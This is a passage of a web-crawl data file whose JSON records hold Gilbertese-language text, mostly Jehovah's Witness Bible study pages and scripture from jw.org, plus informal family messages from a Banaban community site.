1.0000100135803223}","num_words":1317,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KO KINIKA te aboro ae bubura ae e a tawaa man te mwaanganikai. Ko aroka boina ae boi kangkang imwain ae ko kabwakaa i nanon am bwaene are e a kan onrake. Ko a tia ni mwakuri i nanon tabeua te aoa, ma ko namakinna ae ko tuai ni kua ao ko tauraoi naba nakon te mwakuri are imwina. E mena tinam i rarikin te aroka tekaina ae uakaan, ao e kukurei ni mwakuri ao ni maroro ma kaain te utu are teuana ao raoraona ake a buoka karaoan te mwakuri n tai. E a rangi n taraa n ataei ao anne teina are ko ururinga iai taraakina iraua te ririki n nako, ngke ko uarereke. E kangaanga bwa ko na kakoauaa ae ko a tia n noria ni kara n te aonnaba are e a rangi ni maan ni bwakanako. Ko a tia n noria bwa e kanakinako rabwatana ngkoa ibukin aorakina, ko taua baina ngke e a anaa kabanean ikena, ao ko tang i rarikin ruanimatena. Ma ngkai, ko a noria ma te koraki aika bati, bwa a a maiu ao ni manga marurung!\nTi ataia bwa a na bon roko boong akanne. Ti ataia ibukina bwa a boni kokoro bukin ana berita nako te Atua. N te mwakoro aei ao ti na nora iai aroni kakoroani bukin ana berita tabeua te Tautaeka n Uea n te tai ae e a kaan roko, imwain raoi te buaka ae Aremaketon. Ti na rinanon naba ana berita te Tautaeka n Uea tabeua aika kakukurei ake a na kakoroaki bukia imwina riki. Ai kakimwareireira noran te tai are e nang kairiri iai ana Tautaeka n Uea te Atua n te aonnaba ni kabutaa, ni kabooui bwaai ni kabane!\nN TE MWAKORO AEI\nMWAKORO 21\nKo kona ni katauraoi ngkai ibukin te buaka ae Aremaketon.\nMWAKORO 22\nKo kangaa n ataia ae a na boni koro bukin ana berita Iehova?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/berita\/","date":"2018-03-20T06:31:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647299.37\/warc\/CC-MAIN-20180320052712-20180320072712-00104.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":316,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Ko rabwa Neiko Bon te burareei ngkoa ngkoe ao ngkai ai tiaaki!!!Ai te unaine raoi ngkoe. Ke tekeraoi te EAster aio ma am koraki ao kukurei.\nPlease, would you send me Dr.Iobi's email address with Erine???\"\nNeiko ao ronorongon ikai bwa Tibee ngkai ea tanga ma Boua ao ea bikoukou. A mena iroura n te wiki are nako ao ngkai a tia n oki nako Nakasi. A bon tia n ongo kain Rambi ao e bon tang tinana. E tau ma ea kakimototoi bwaai ni kabane ibukina Tibee bwa tao e bon aki kan rungaki raoi arona. E bon kabwara ana bure ma i tuangnga are a itiaki ana utu bwa e bon nori nano n support nakoina ao akea riki te bae kona n taekinaki ma ti te katekeraoi nakon aia katei utu. Taian mate mai Rambi bon Nei Kareita, Tebungitai ao Ikauea are natin Tonika. Tao tingaia akanne moa rongorongo mai ikai ao tia manga boo.\nMauri naba kain NZ,\nE rarabwa te reitaki ao ngaia e raoiroi bwa ea reke ana measurement Nei Aai ao ia angan Jane. I taku bwa e bon rangi n tikiraoi ngkai kam nang mwaing ma natim nakon ami auti. Neiko ao te kabuanibwai bwa ea manga oki au parcel are kanaoana am kunikai are i kanakoa n te mail. Ia tia ni manga kanakoatia ngkai n te EMS Courier ao a taku kain te post office bwa ena riai n reke iroum nakon Thursday ke Friday aei. E bon bobuaka teutana aron kanakoatana n te mail aei ma ai bon akea riki au choice bwa ea ria am tai ni graduation. Aio are ena bon deliver naki nakon te auti. Taiaoka anganai am telephone number bwa nna call niko n check bwa e reke iroum ke e aki nakon taina are a tia n taku. Ia ongora iroum. Te kamauri ao te inga nakon nei Aai ao ai kain ami auti ni bane. Tekeraoi te graduation ao tikumi ikanne.\naye aye e nang te busy iroum kee. e uara te makuri? te kantaninga bwa e bon waki raoi. ngaia ao ia taningaiko ke ia bon angan Jane n aron naba akekei?? A tau ana tops ma ana sulu jumper aike ko uoti n nakoati? Ngkana ngaia ao tia manga bon ira naba ana size nei rote. Te kamauri mai Isa Lei nakoimi ao tia manga boo. Ia ongora iroum.\nTiku\nhey mauri naba!! Mwanem ngkoa Burentetau??hahaha!! ao kam uara??? ngaira ti bane ni marurung ma ataei ao te kantaninga bwa ai bon aromi naba ikanne. E rabwa te Uea n ana kakawakin kee...anyway a uara ana kunikai Nei Aai?? Ae ia tia ni karekea kunikain ami \"magimagi\" ma nna karekea korana ao ia angan naba Jane. Tao ai tiaia n ituaki ma am koroti ao ia kanakoati naba. Ko kona n measure Nei Aii n aron are e baireiko iai Jane? ao koa kanakomaia baireana bwa e aonga n roko raoi ana kunikai aio. Au email aio email@example.com...tia reitia n te email. Aia inga ao aia kamauri ataei ao tamaia ataei nakoim ao ai Nei Aai.\nTia boo ao tekeraoi te makuri ao tikumi ikanne\nTarim\nngaia!! ngaia!! akea ngkoe te kanganga n anne nonean tibuum na kaonrakea te container ba uotaau nakoati nako fiji.. ao bukin te hotstuff ma te smoke bon au baai ngke ni kanakokeve maa tain roroga i biti..lolahahahha..ia bon anganiko bona i nadi..ao ngkai na bon tanigaiko i nadi ba ia kautanigaa naba iroum...bwa te marii are kona uotia..ao ai te baebaetienti iroum ngkanne..cant wait to see you soon.\nNgaia, ngaia tia ataia ae ena iai te botaki nakon te tai anne. Ao e kanga ngkanne tina katauraoi ara biribai ke ana sponsor AUSAID ma NZAID???? hahahaha...are a bon kantaninga naba te sponsor Nei Tena ma mai Rambi. Ao ngke, ti boo ikai. O eeng...ibukin ana bwai Tonia, e taku tinana bwa ngkana ko kona n taiaoka ni karekea ae e bubura riki nakon arei...tao te Large. E taku bwa are ko moan karekea te medium ao e aki tau iaona. Tao tingaia moa anne mai ikai ma tia manga bon rereitaki....tekeraoi ngkami ikanne...uringnga kabatia te chocolate mai ikanne ngkana ko nakomai. Tia boo moa...","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/banabanvoice.ning.com\/profile\/TemaeaAwira","date":"2018-03-18T09:23:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645604.18\/warc\/CC-MAIN-20180318091225-20180318111225-00539.warc.gz","language":"gil","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000077486038208}","num_words":699,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Iai kangaanga aika kanakoraoaki n angiin te tai rinanon te babakanikawai ae tii teutana.\"\n—Samantha, mai Aberika Maiaki.\nKo inanoi ma taeka akanne? Titeboo ngaira ni kabane ma Samantha, bwa ti a tia n aitara ma kangaanga n te tai teuana ma teuana. Arora ni kaitaraa kaririara nakon te babakanikawai, e kona ni kaota te bwai ae rangi ni kakawaki riki iroura. N te katoto, ngkana e kakawaki riki iroura kamanoara mani kamaamaeara, ti a kona ngkanne n iangoia bwa e riai te babakanikawai. Ma ngkana e a ataaki te koaua, n angiin te tai te babakanikawai e bae ni karekea mwina aika bubuaka. Iangoi baikai.\nTE BABAKANIKAWAI E URUA ONIMAKINAM\nA boto taian iraorao i aon te onimakinaki. Ngkana a onimakinia i bon irouia aomata aika uoman, a namakina iai kamanoaia ao mweraoia. Ma e aki kona ni waekoa n reke te onimakinaki. E rikirake onimakinan temanna ngkana ko kabanea am tai ma ngaia, te uaia ni mamaroro ma te kakaonimaki ao tabeakinaia aomata. E kona ni bua onimakinam n tii teuana am mwakuri ni babakanikawai. Ao ngkana e a bua onimakinam, e kona ni kangaanga manga karekeana.\nKo a tia ni keweaki iroun temanna ae ko iangoia bwa raoraom ni koaua? Ngkana ko a tia, tera am namakin iai? Ko boni bae ni maraki kaanga aron ae ko kamwaruaaki. E bon ataaki anne. Iai te nanououa teutana bwa e kona te babakanikawai n urua te iraorao ae kakawaki.\nTE BABAKANIKAWAI E BUNGIA TE BABAKANIKAWAI\nE kuneaki n ana kakaae Robert Innes, ae te tia rabakau ibukini kaubwain te aba n te Kuura ae Rietata i California, bwa \"e rangi n ewewe te babakanikawai.\" Ngaia are e kona ni kabotauaki te babakanikawai ma te mannaoraki. Ngkana ko kabatiaa am itoman ma te aomata ae babakanikawai, ko na rangi n ruanikai riki bwa ko na \"ewekaki\" n te babakanikawai.\nKo na kangaa n totokoa mwanem n te bwai ni kamwane ae te babakanikawai? E kona ni buokiko te Baibara. Taiaoka ma iangoi booto n reirei tabeua man te Baibara.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na1-2016-tianuare\/baika-riki-imwin-te-babakanikawai\/","date":"2018-03-24T00:44:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649508.48\/warc\/CC-MAIN-20180323235620-20180324015620-00091.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":339,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A TAKU aomata aika a kakoauaa te reirei ae te Temanna n teniman bwa teniman aomata i nanon te Atua, bwa te Tama, te Nati, ao te Taamnei ae Raoiroi. E taekinaki iai bwa a boraoi aomata aika teniman aikai n tatabemania nako, n te aro are a bane ni moan te mwaaka, ao a bane n akea moan rikia. Ni kaineti ma te reirei ibukin te Temanna n teniman, te Tama bon te Atua, te Nati bon te Atua, ao te Taamnei ae Raoiroi bon te Atua naba. Ma e ngae n anne, bon tii temanna te Atua.\nA bati taani kakoauaa te Temanna n teniman ake a taku bwa a aki kona ni kabwarabwaraa te reirei aei. Ma a kakoauaa bwa iai te reirei aei n te Baibara. Ma e riai n ataaki bwa bon akea te taeka ae \"Temanna n teniman\" n te Baibara. Ma te koaua bwa iai kabwarabwaraana n te Baibara? Ni kaekaan anne, ti na nora ngkai te kibu teuana ae bati n taekinaki irouia taani kakoauaa te Temanna n teniman ibukin boutokaan te reirei anne.\n\"BON TE ATUA TE TAEKA\"\nE taku Ioane 1:1, (BK): \"I maini karikani bai, ao boni iai te Taeka. E memena te Taeka iroun te Atua. Ao bon te Atua te Taeka.\" Rimwi riki n te mwakoro anne, e katereterea Ioane bwa Iesu bon \"te Taeka.\" (Ioane 1:14, BK) Kioina ngke e aranaki te Taeka bwa te Atua, a a motikia naba tabeman bwa, 'Te Nati anne ao te Tama a uaia ni mena i nanon te Atua ae tii temanna.'\nUruringa are mwakoron te Baibara aei e moani koreaki n te taetae ni Kuriiti. Imwina riki, a a manga raira te Baibara ni Kuriiti taan rairai nakon taetae riki tabeua. Ma iai taan raira te Baibara aika a aki kabonganai taeka aika \"bon te Atua te Taeka.\" Bukin tera? Ibukina bwa e kaineti anne ma aia atatai i aon te taetae ni Kuriiti are e koreaki ngkoa iai te Baibara. N aia iango taan rairai aikai, e riai n rairaki te kibu ae \"bon te Atua te Taeka\" n te aro ae kaokoro. N te aro raa? Aikai tabeua katoto: \"Ai aron te atua te Rokou [ke te Taeka].\" (A New Translation of the Bible) \"Bon te atua temanna te Taeka.\" (The New Testament in an Improved Version) \"E mena te Taeka i rarikin te Atua ao titeboo arona ma ngaia.\" (The Translator's New Testament) Ni kaineti ma taian raitaeka aikai, te Taeka bon tiaki te Atua. * Ma ibukin rietatan nakoana i aoia ana karikibwai Iehova, e a atongaki iai te Taeka bwa \"te atua temanna.\" Nanon te taeka ae \"te atua\" ikai bon \"te aomata ae mwaaka.\"\nKAREKEI RIKI RONGORONGO AIKA KOAUA\nAngia aomata a aki ataa te taetae ni Kuriiti are e koreaki ngkoa iai te Baibara. Mangaia are ko na kangaa n ota n are e nanonna te abotoro Ioane? Iangoa te katoto aei: E kabwarabwaraa te reirei teuana te tia reirei nakoia ana ataei. Imwina e oti bwa a kakaokoro nako otaia ataein te reirei i aon aroni kabwarabwaraana. A na kangaa ataein te reirei ni buokaki iai? A kona ni manga butiia te tia reirei bwa e na kamataataa riki. Akea te nanououa bwa a na buokaki ni kaotaaki raoi imwini kamatataan bwaai tabeua riki aika a reitaki ma te reirei anne. N aron naba anne, ngkana ko kan ataa ae nanonaki n Ioane 1:1, ko kona n nori riki rongorongon nakoan Iesu n ana Euangkerio Ioane. Karekean am atatai i aon rongorongo tabeua aika a reitaki ma te reirei aei e na buokiko bwa ko na ota raoi iai.\nN te katoto, iangoa riki are e koreia Ioane ni mwakoro 1, kibuna 18: \"Bon akea temanna ae e a tia n nora te Atua [ae Moan te Mwaaka].\" Ma a a tia aomata n nora Iesu are te Nati, bwa e kangai Ioane: \"E riki n aomata te Taeka [Iesu], ao e maeka i buakora. Ti a tia n nora mimitongina.\" (Ioane 1:14, BK) E nang kangaa ngkanne n riki te Nati bwa rabwatan naba te Atua ae Moan te Mwaaka? E taku naba Ioane bwa \"E memena te Taeka iroun te Atua.\" Ma e na kangaa te aomata ni memena iroun temanna ao n riki naba bwa ngaia? Irarikin anne, n aron ae koreaki n Ioane 17:3, BG e katereterea iai Iesu kaokorona ma Tamana are i karawa. E arana Tamana bwa \"te Atua ae ti temanna ae koaua.\" N raabanen ana Euangkerio Ioane, ao e a kamataataa te reirei aei ni kangai: \"Ma a koreaki aikai, ba kam aonga ni kakoaua Iesu ba bon te Kristo, are Natin te Atua.\" (Ioane 20:31, BG) Noria bwa e aki aranaki Iesu bwa te Atua, ma bon Natin te Atua. Rongorongo aika raka aikai man ana Euangkerio Ioane, a kamataataa raoi nanon Ioane 1:1. Iesu ae te Taeka bon \"te atua temanna,\" are nanona bwa iai nakoana ae rangi ni kakannato ma e aki boraoi ma te Atua are Moan te Mwaaka.\nKAKOAUAA TE RONGORONGO\nIangoa riki te katoto are taekan te tia reirei ao ataein te reirei. Iangoia bwa aongkoa bon iai naba ataei ake a teimatoa n nanououa, imwin ana kabwarabwara kaua te tia reirei. Tera ae a kona ni karaoia? A kona ni manga kakaaea otaia n te reirei naba anne iroun te tia reirei riki temanna. Ngkana e bon inanoi naba ana kabwarabwara te kauoman n tia reirei ma are te moan, ao a nang bae n toki ngkanne nanououaia ataein te reirei. N aron naba anne, ngkana ko aki koaua raoi n te bae e taekinna te tia korea te Baibara ae Ioane ibukin taekan te reitaki i marenan Iesu ma te Atua ae Moan te Mwaaka, ko kona ngkanne ni manga nora ana rongorongo iai te tia korea te Baibara temanna. Iangoa ae koreaki irouni Mataio bwa te katoto. Ni kaineti ma tokin te waaki ae ngkai, e korea iai ana taeka Iesu ae kangai: \"Ma akea ae ata rokon te bong arei ma te aua arei, ao a aki ataia naba anerani karawa, ao E aki ataia te Nati, ma bon ti te Tama ae ataia.\" (Mataio 24:36, BG) E na kangaa ni kakoauaaki n taeka aikai bwa Iesu bon tiaki te Atua ae Moan te Mwaaka?\nE taku Iesu bwa e atatai riki te Tama nakon te Nati. Ngkana ngaia bwa Iesu boni mwakoron naba te Atua ae Moan te Mwaaka, e riai ni boraoi ngkanne ana atatai ma ana atatai te Tama. Mangaia are e aki kona ni boraoi te Nati ao te Tama. Ma a kona ni manga kangai tabeman: 'Uoua iterani maiun Iesu bwa e taetae ngkanne ikai bwa te aomata.' Ma ngkana e eti anne, tera ngkanne aron te taamnei ae raoiroi? Ngkana ngaia bwa bon te Atua naba n aron te Tama, e aera ngkai e aki taekinna Iesu bwa te taamnei ae raoiroi e atai naba baike e atai te Tama?\nNgkai ko teimatoa n reirei n te Baibara, ko na bae n taneiai ma rongorongon riki te Baibara aika a bati ake a irekereke ma te reirei aei. A taekina raoi te koaua ibukin te Tama, te Nati, ao te taamnei ae raoiroi.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ana-reirei-te-baibara\/te-tama-te-nati-te-taamnei-ae-raoiroi\/","date":"2018-03-21T09:14:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647600.49\/warc\/CC-MAIN-20180321082653-20180321102653-00397.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1196,"character_repetition_ratio":0.066,"word_repetition_ratio":0.003,"special_characters_ratio":0.236,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"34 Boni wanua ana ririki Iotia+ ngke e riki bwa te uea ao e tautaeka i Ierutarem i nanon 31 te ririki.+ 2 E karaoa ae eti i matan Iehova ao e nakonako ni kawain nako Tawita are ana bakatibu, ao e aki rairakinako mai iai nakon te angaatai ke te angamaing. 3 N ana ka-8 n ririki n tautaeka, ngke bon te teei naba ngaia, ao e a moana ukoukoran Atuan Tawita are ana bakatibu,+ ao n ana ka-12 n ririki n tautaeka, ao e a moana kaitiakan Iuta ao Ierutarem+ ni kaaki mai iai taabo aika rietata+ ao kaai aika tabu,* bouannanti aika kaaraki,+ ao bouannanti aika biiti.* 4 Irarikin anne, a kabwakai baonikarean taiani Baara bon i matana, ao e urui ni kabwakai baonikareani baika boiarara aika mena i etaia. E kamaerikiriki naba kaai aika tabu,* bouannanti aika kaaraki, ao bouannanti aika biiti* ao e kamtei raoi, ao e kamraraa i aon ruanimateia te koraki ake a taneiai n angakarea nakoni baikai.+ 5 Ao e kabueki riia ibonga i aon aia baonikarea.+ Mangaia are e kaitiaka Iuta ao Ierutarem. 6 Ao ni kaawani Manate, Eberaim,+ Timeon, ao n rokoroko i Nabetari, ao n taabo ni kabane ake a uruaki, 7 e kabwakai baonikarea ao e kamantintii kaai aika tabu* ma bouannanti aika kaaraki,+ ni kamtei raoi, ao e urui ni kabwakai baonikarea ni kabane aika baonikareani baika boiarara n te aba ae Iteraera ni kabutaa,+ ao imwina e a okira Ierutarem. 8 N ana ka-18 n ririki n tautaeka, ngke e a tia ni kaitiaka te aba ma te tembora,* ao e kanakoa Tiaban+ are natin Aturaia, Maateia are mataniwin te kaawa, ao Ioa are natin Ioaatia are te tia korei mwin rongorongo, bwa a na onobwaia ana auti Iehova ae Atuana.+ 9 A roko naakai iroun Irekia are te ibonga ae rietata* ao a anganna taiani mwane ake a uotaki nakon ana auti te Atua, ake a rikoi tibun Rewi ake a beku bwa taan teiakina te mataroa, mairouia tibuni Manate, Eberaim, ao nikiraia kaain Iteraera ni kabane,+ ao mairouia naba tibun Iuta, Beniamin, ao ai kaain Ierutarem. 10 Ao a anga nakoia te koraki ake a mwiokoaki bwa mataniwi n te mwakuri are karaoaki n ana auti Iehova. Ao a kabongana taani mwakuri n ana auti Iehova, ni manga karaoa iai te auti ao n onobwaia. 11 A anga nakoia taani karaobwai aika mwaatai ao taani kateitei bwa a na kabooi iai atibu aika ekeaki ma kaai ibukini bwaai n tomatoma, ao a na katei tatangan auti ake a kariaia uean Iuta bwa a na bwaka n uruaki.+ 12 Ao a karaoa te mwakuri mwaane ma te kakaonimaki.+ A mwiokoaki i aoia naakai tibun Rewi aika Iaata ma Obaria mai buakoia tibuni Merari,+ ao Tekaria ma Meturam mai buakoia tibuni Koata,+ bwa a na beku bwa mataniwi. Ao tibun Rewi ake taani katangitang aika mwaatai ni kabane,+ 13 a tararuaiia tooro* aika bekutata, ao a mataniwi i aoia te koraki nako ake a karaoa te mwakuri n aeka ni beku nako, ao tabeman mai buakoia tibun Rewi bon taani koroboki, mataniwi, ao taan teiakina mataroan te oo.+ 14 Ngke a kaotinakoi taiani mwane ake a uotaki nakon ana auti Iehova,+ ao Irekia are te ibonga e a kunea naba bokin ana Tua Iehova+ are e anganaki te aba rinanoni* Mote.+ 15 Mangaia are e taku Irekia nakon Tiaban are te tia koroboki: \"I kunea bokin te Tua n ana auti Iehova.\" Ai ngaia are e a anga te boki Irekia nakon Tiaban. 16 Ao Tiaban e uota te boki nakon te uea ao e tuangnga ni kangai: \"A karaoi bwaai nako am toro ake a mwiokoaki iai. 17 A a tia ni kannai taiani mwane ake a reke n ana auti Iehova, ao a a tia n angania mwaane ake a mwiokoaki ao te koraki ake a karaoa te mwakuri.\" 18 E tuanga naba te uea ni kangai Tiaban are te tia koroboki: \"Iai te boki ae e anganai Irekia are te ibonga.\"+ Ao e a wareware mai iai Tiaban i matan te uea.+ 19 Ngke e ongo naba ngkekei te uea taeka ake n te Tua ao e a raeuai naba kunnikaina.+ 20 Ao e tua ae kangai te uea nakon Irekia ma Aikam+ are natin Tiaban, Abeton are natini Mika, Tiaban are te tia koroboki, ao Ataaia are ana toro te uea: 21 \"Naako ao titirakina Iehova ibukiu ao ibukia te koraki ake a tiku i Iteraera ao i Iuta, ni kaineti ma taeka aika n te boki ae kuneaki aei, bwa e korakora unin Iehova ae e na kabwaroaki n ekiranako, ibukina bwa a aki ira ana taeka Iehova ara bakatibu ni kakairi ni bwaai ni kabane aika koreaki n te boki aei.\"+ 22 Mangaia are e nako Irekia n ikotaki ma te koraki ake a kamwanangaaki iroun te uea, nakon Ureta are te burabeti n aine.+ Neiei boni buun Tiarum are natin Tikewa are natin Areati, are te tia tararuaa te ruu ni kunnikai, ao e mamaeka neiei ni Kauouani Mwakoron Ierutarem, ao a taetae ma neiei ikekei.+ 23 E taku neiei nakoia: \"E kangai ana taeka Iehova ae Atuan Iteraera, 'Tuanga te mwaane are kanakoingkami nakoiu ni kangai: 24 \"E kangai ana taeka Iehova, 'N na karokoa te kabuanibwai i aon te tabo aei ma kaaina,+ ake rekenikai ni kabane ake a koreaki n te boki+ are a warekia i matan uean Iuta. 25 Ibukina bwa a kitanai+ ao a kabueki karea ni kabubui nakoia atua riki tabeman bwa a na kaunai+ n aia mwakuri ni kabane baia, ao e na bwaro uniu ae korakora i aon te tabo aei ao e na aki tiringaki uniu.'\"+ 26 Ma kam riai ni kangai nakon uean Iuta are e kanakoingkami bwa kam na titirakina Iehova, \"E kangai ana taeka Iehova ae Atuan Iteraera: 'Ni kaineti ngkanne ma taeka ake ko ongo,+ 27 ao I ongo naba iroum, ibukina bwa e kan ongeaba* nanom ao ko kananorinanoko i matan te Atua ngke ko ongo ana taeka ni kaineti ma te tabo aei ma kaaina, ao ko kananorinanoko i matau ao ko raeuai kunnikaim ao n tang i matau,+ bon ana taeka Iehova. 28 Anne bukina ae N na ikotiko iai ma am bakatibu,* ao ko na kaiiaki n ruanimatem ma te rau, ao matam a na aki nora te kabuanibwai aei ni kabane ae N na karokoa i aon te tabo aei ma kaaina.'\"'\"+ Ao a uota te kaeka nakon te uea. 29 Ngaia are e a kanakotaeka te uea ao ni weteiia ni kabane unimwaanen Iuta ao Ierutarem.+ 30 Imwin anne ao e a waerake te uea nakon ana auti Iehova ma aomata ni kabane ni moa man ae e uarereke ni karokoa ae e a kara, aika mwaane ni kabane aika tibun Iuta, kaain Ierutarem ni kabane, ibonga, ao tibun Rewi. E wareki nakoia ngke a ongora, taeka ni kabane ake ni bokin te berita are e kuneaki n ana auti Iehova.+ 31 E tei te uea n ana tabo ao e karaoa te berita*+ i matan Iehova, bwa e na kakairi iroun Iehova ao e na kawakin ana tua, ana kauring, ao ana kaetieti, ma nanona ni kabane ao maiuna* ni kabane,+ n arona n toui raoi mwin taeka ake n te berita ake a koreaki n te boki arei.+ 32 Irarikin anne, e tua nakoia te koraki ni kabane ake i Ierutarem ao Beniamin bwa a na kariaia. Ao kaain Ierutarem a karaoa ae boraoi ma ana berita te Atua, are Atuaia aia bakatibu.+ 33 Ao e kanakoi baika riribaaki* ni kabane Iotia mai abaia ni kabane tibun Iteraera,+ ao e kairiia aomata nako ake a mena i Iteraera bwa a na toro iroun Iehova ae Atuaia. A aki roko n te rairakinako man irirakin Iehova ae Atuaia aia bakatibu ni kabane maiun* teuaei.\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"bouannanti aika kaburoaki n atoaki.\"\n^ Ke, \"bouannanti aika kaburoaki n atoaki.\"\n^ Ebera, \"auti.\"\n^ Nora Nanon Taeka, \"Ibonga ae rietata.\"\n^ Ke, \"taan aonnanga te uota ae rawawata.\"\n^ Ebera, \"ni bain.\"\n^ Ebera, \"maraurau.\"\n^ Aio bon te taeka ni kario ibukin te mate.\n^ Ke, \"kabooua te berita.\"\n^ Ebera, ne'phesh, nora Nanon Taeka.\n^ Ke, \"bouannanti.\"\n^ Ebera, \"ni kabane ana bong.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-rongorongo\/34\/","date":"2018-03-22T13:05:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647883.57\/warc\/CC-MAIN-20180322112241-20180322132241-00197.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1332,"character_repetition_ratio":0.065,"word_repetition_ratio":0.002,"special_characters_ratio":0.24,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BON te mwakuri ae moan te kakawaki tataekinan te rongorongo ae raoiroi ni boong aikai. Ngkai ngkoe naba ana toro Iehova, ko kakoauaa bwa bon te mwakuri ae rine uataboani karekeaia taan rimwini Kristo. Ma ko bae n aki nanououa bwa a kaaitarai kangaanga bwaiania ao taan uarongorongo ibukini kateimatoaan ingaingaia n te mwakuri ni minita.\nIai tabeman taan uarongorongo ake e kangaanga kakaaean temanna ae a na maroro ma ngaia, ni kawaran te auti teuana ma teuana. Ni koauana, a kona angiia aomata n aki mena ni mwengaia. Ngkana a kawaraki ma rongorongon te Tautaeka n Uea, a kona n aki kan ongora ke ni kaaitara. A kona ni bwarannano taan uarongorongo tabeman bwa a maaka are e na aki tia te aono are a karaoia ae bati kaaina. Ao iai kaain te ekaretia tabeman ake a tia ni bwara nanoia bwa a iangoia ae a a tia n uarongorongo i nanon ririki aika bati.\nTi riai ni mimi irouia ana aomata Iehova, ake a kaaitarai kangaanga aika kona ni kakerikaaka ingaingaia n te mwakuri n uarongorongo? Ti aki. E ngae n anne, iai i buakora ae e iangoia bwa e bebete taekinan te rongorongo ni kamaiu ae koaua mairoun te Atua, n te aonnaba ae tautaekanna \"teuare buakaka\" ae Tatan te Riaboro?—1 Ioa. 5:19.\nA na rau nanora bwa e kona Iehova ni buokira n tokanikai i aoni kangaanga nako ibukin tataekinan te rongorongo ae raoiroi. Ma tera arom ni karikirakea ingaingam n te mwakuri ni minita? Ti na rinanoi reirei tabeua.\nBUOKIIA AIKA AKI RANGI NI MWAATAI\nNi katoa ririki ao a bwabetitoaki nga ma nga aika boou bwa taani Kakoaua ibukin Iehova. Ngkana ko a tibwa tia ni katabua maium ao ni bwabetitoaki, ko na boni kakoauai kakabwaia ake a rinanona naake a a tia n uarongorongo n te tai ae maan riki nakoim. Ngkana te tia uarongorongoa te Tautaeka n Uea ngkoe i nanon ririki aika bati, e aki riai ao n uaana kataneiaia aika a boou?\nE ataia Iesu ae a kainnanoa buokaia taan rimwina bwa a aonga n riki bwa taan uarongorongo aika mwaatai, ao e boni kaota aroni karaoana. (Ruka 8:1) Ni boong aikai ao e kainnanoaki reireiaia tabemwaang bwa a na riki bwa minita aika mwaatai.\nTi aki riai n iangoia bwa e na mwaatai n angareirei te tia uarongorongo ae boou, tii man irirakin te mwakuri ni minita. E kainnanoa teuanne ke neienne ana kaetieti ae akoi man tatangira te tia angareirei. E irekereke naba te aeka n angareirei anne, kaotiotan aron te tia uarongorongo ae aki rangi ni mwaatai (1) ni katauraoa ana maroro, (2) ni maroro ma kaain te auti ke ae kaitiboo ma ngaia, (3) n anga te maekatin, (4) ni manga okira ae kan ongora ao (5) ni moana te reirei n te Baibara. Ni koauana, e kona n noraki mwina aika raraoi ngkana e kakauongo ao ni kakairi n aanga ake a kabonganaaki n te mwakuri ni minita iroun are e buokia. (Ruka 6:40) E na boni kakaitau te tia uarongorongo ae boou iroun are e kukurei n ongora ao ni buokia ngkana e kainnanoa buokana. E na kakabwaiaaki naba te tia uarongorongo ae aki rangi ni mwaatai n taeka ni kaungaunga ao reirei n ibuobuoki.—TeMin. 4:9, 10.\nMARORO MA TOAM N UARONGORONGO\nE ngae ngkana ko kakorakorako ni mamaroro ma kaain auti nako, ma e nakoraoi te maroro ma toam ni boong riki tabeua n tain te mwakuri ni minita. Uringnga are e kanakoia Iesu taan rimwina \"ni kakauomania\" bwa a na uarongorongo. (Ruka 10:1) A kona ni kaai ni karikirakeia ao ni kaungaia n aia tai ni mwakuri. Ngaia are, e reke te 'ikaungaunga i marenaia' taari n taai ake a uarongorongo iai.—IRom 1:12.\nBaikara bwaai ake ko kani maroroakin? Iai iroumi ae e a tia n rinanon te bwai ae kaungaaki iai? Ko a tia ni kunea te reirei ae kakawaki n am tai n ukeuke i bon iroum ke n te reirei n utu? Iai rikirakem teutana imwin 